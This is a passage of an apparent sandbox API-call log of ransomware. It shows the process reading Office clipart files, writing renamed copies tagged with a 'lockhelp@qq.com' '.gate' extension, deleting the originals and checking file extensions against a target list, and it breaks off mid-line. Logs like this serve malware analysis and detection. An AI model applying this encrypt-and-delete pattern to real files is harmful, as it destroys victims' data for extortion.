[0320.141] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.141] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.225] GetLastError () returned 0x0 [0320.225] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0320.226] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xf80, lpOverlapped=0x0) returned 1 [0320.227] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.227] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.227] SetEndOfFile (hFile=0x38c) returned 1 [0320.228] CloseHandle (hObject=0x38c) returned 1 [0320.228] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.228] SetEndOfFile (hFile=0x374) returned 1 [0320.229] CloseHandle (hObject=0x374) returned 1 [0320.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0320.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.229] lstrlenW (lpString=".doc") returned 4 [0320.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.229] lstrlenW (lpString=".docx") returned 5 [0320.230] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.230] lstrlenW (lpString=".pdf") returned 4 [0320.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString=".xls") returned 4 [0320.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString=".xlsx") returned 5 [0320.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.230] lstrlenW (lpString=".ppt") returned 4 [0320.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString=".zip") returned 4 [0320.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString=".rar") returned 4 [0320.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString=".bz2") returned 4 [0320.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.230] lstrlenW (lpString=".7z") returned 3 [0320.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString=".dbf") returned 4 [0320.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString=".1cd") returned 4 [0320.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString=".jpg") returned 4 [0320.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.230] lstrlenW (lpString=".doc") returned 4 [0320.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.230] lstrlenW (lpString=".docx") returned 5 [0320.230] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.231] lstrlenW (lpString=".pdf") returned 4 [0320.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.231] lstrlenW (lpString=".xls") returned 4 [0320.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.231] lstrlenW (lpString=".xlsx") returned 5 [0320.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.231] lstrlenW (lpString=".ppt") returned 4 [0320.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.231] lstrlenW (lpString=".zip") returned 4 [0320.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.231] lstrlenW (lpString=".rar") returned 4 [0320.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.231] lstrlenW (lpString=".bz2") returned 4 [0320.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.231] lstrlenW (lpString=".7z") returned 3 [0320.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.231] lstrlenW (lpString=".dbf") returned 4 [0320.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.231] lstrlenW (lpString=".1cd") returned 4 [0320.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0320.231] lstrlenW (lpString=".jpg") returned 4 [0320.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.231] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.231] lstrlenW (lpString="AG00175_.GIF") returned 12 [0320.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.232] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3378) returned 1 [0320.232] CloseHandle (hObject=0x374) returned 1 [0320.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0320.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.232] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.232] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.233] GetLastError () returned 0x0 [0320.233] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xd32, lpOverlapped=0x0) returned 1 [0320.234] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xd40, lpOverlapped=0x0) returned 1 [0320.235] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.235] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.235] SetEndOfFile (hFile=0x38c) returned 1 [0320.235] CloseHandle (hObject=0x38c) returned 1 [0320.235] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.235] SetEndOfFile (hFile=0x374) returned 1 [0320.236] CloseHandle (hObject=0x374) returned 1 [0320.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0320.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.236] lstrlenW (lpString=".doc") returned 4 [0320.236] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.236] lstrlenW (lpString=".docx") returned 5 [0320.236] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.236] lstrlenW (lpString=".pdf") returned 4 [0320.236] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.236] lstrlenW (lpString=".xls") returned 4 [0320.236] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString=".xlsx") returned 5 [0320.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.237] lstrlenW (lpString=".ppt") returned 4 [0320.237] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString=".zip") returned 4 [0320.237] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString=".rar") returned 4 [0320.237] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString=".bz2") returned 4 [0320.237] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.237] lstrlenW (lpString=".7z") returned 3 [0320.237] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString=".dbf") returned 4 [0320.237] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString=".1cd") returned 4 [0320.237] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString=".jpg") returned 4 [0320.237] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.237] lstrlenW (lpString=".doc") returned 4 [0320.237] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.237] lstrlenW (lpString=".docx") returned 5 [0320.237] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.237] lstrlenW (lpString=".pdf") returned 4 [0320.237] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString=".xls") returned 4 [0320.237] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.237] lstrlenW (lpString=".xlsx") returned 5 [0320.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.238] lstrlenW (lpString=".ppt") returned 4 [0320.238] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.238] lstrlenW (lpString=".zip") returned 4 [0320.238] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.238] lstrlenW (lpString=".rar") returned 4 [0320.238] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.238] lstrlenW (lpString=".bz2") returned 4 [0320.238] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.238] lstrlenW (lpString=".7z") returned 3 [0320.238] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.238] lstrlenW (lpString=".dbf") returned 4 [0320.238] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.238] lstrlenW (lpString=".1cd") returned 4 [0320.238] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0320.238] lstrlenW (lpString=".jpg") returned 4 [0320.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.238] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.238] lstrlenW (lpString="AG00176_.GIF") returned 12 [0320.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.238] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3120) returned 1 [0320.239] CloseHandle (hObject=0x374) returned 1 [0320.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0320.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.239] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.239] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.239] GetLastError () returned 0x0 [0320.239] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xc30, lpOverlapped=0x0) returned 1 [0320.240] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xc40, lpOverlapped=0x0) returned 1 [0320.241] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.241] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.241] SetEndOfFile (hFile=0x38c) returned 1 [0320.241] CloseHandle (hObject=0x38c) returned 1 [0320.241] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.241] SetEndOfFile (hFile=0x374) returned 1 [0320.246] CloseHandle (hObject=0x374) returned 1 [0320.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0320.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.246] lstrlenW (lpString=".doc") returned 4 [0320.246] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.246] lstrlenW (lpString=".docx") returned 5 [0320.247] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.247] lstrlenW (lpString=".pdf") returned 4 [0320.247] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString=".xls") returned 4 [0320.247] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString=".xlsx") returned 5 [0320.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.247] lstrlenW (lpString=".ppt") returned 4 [0320.247] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString=".zip") returned 4 [0320.247] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString=".rar") returned 4 [0320.247] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString=".bz2") returned 4 [0320.247] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.247] lstrlenW (lpString=".7z") returned 3 [0320.247] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString=".dbf") returned 4 [0320.247] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString=".1cd") returned 4 [0320.247] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString=".jpg") returned 4 [0320.247] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.247] lstrlenW (lpString=".doc") returned 4 [0320.247] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.247] lstrlenW (lpString=".docx") returned 5 [0320.247] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.248] lstrlenW (lpString=".pdf") returned 4 [0320.248] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.248] lstrlenW (lpString=".xls") returned 4 [0320.248] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.248] lstrlenW (lpString=".xlsx") returned 5 [0320.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.248] lstrlenW (lpString=".ppt") returned 4 [0320.248] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.248] lstrlenW (lpString=".zip") returned 4 [0320.248] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.248] lstrlenW (lpString=".rar") returned 4 [0320.248] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.248] lstrlenW (lpString=".bz2") returned 4 [0320.248] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.248] lstrlenW (lpString=".7z") returned 3 [0320.248] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.248] lstrlenW (lpString=".dbf") returned 4 [0320.248] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.248] lstrlenW (lpString=".1cd") returned 4 [0320.248] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0320.248] lstrlenW (lpString=".jpg") returned 4 [0320.248] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.248] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.248] lstrlenW (lpString="AN00010_.WMF") returned 12 [0320.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.249] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3026) returned 1 [0320.249] CloseHandle (hObject=0x374) returned 1 [0320.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0320.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.249] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.249] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft 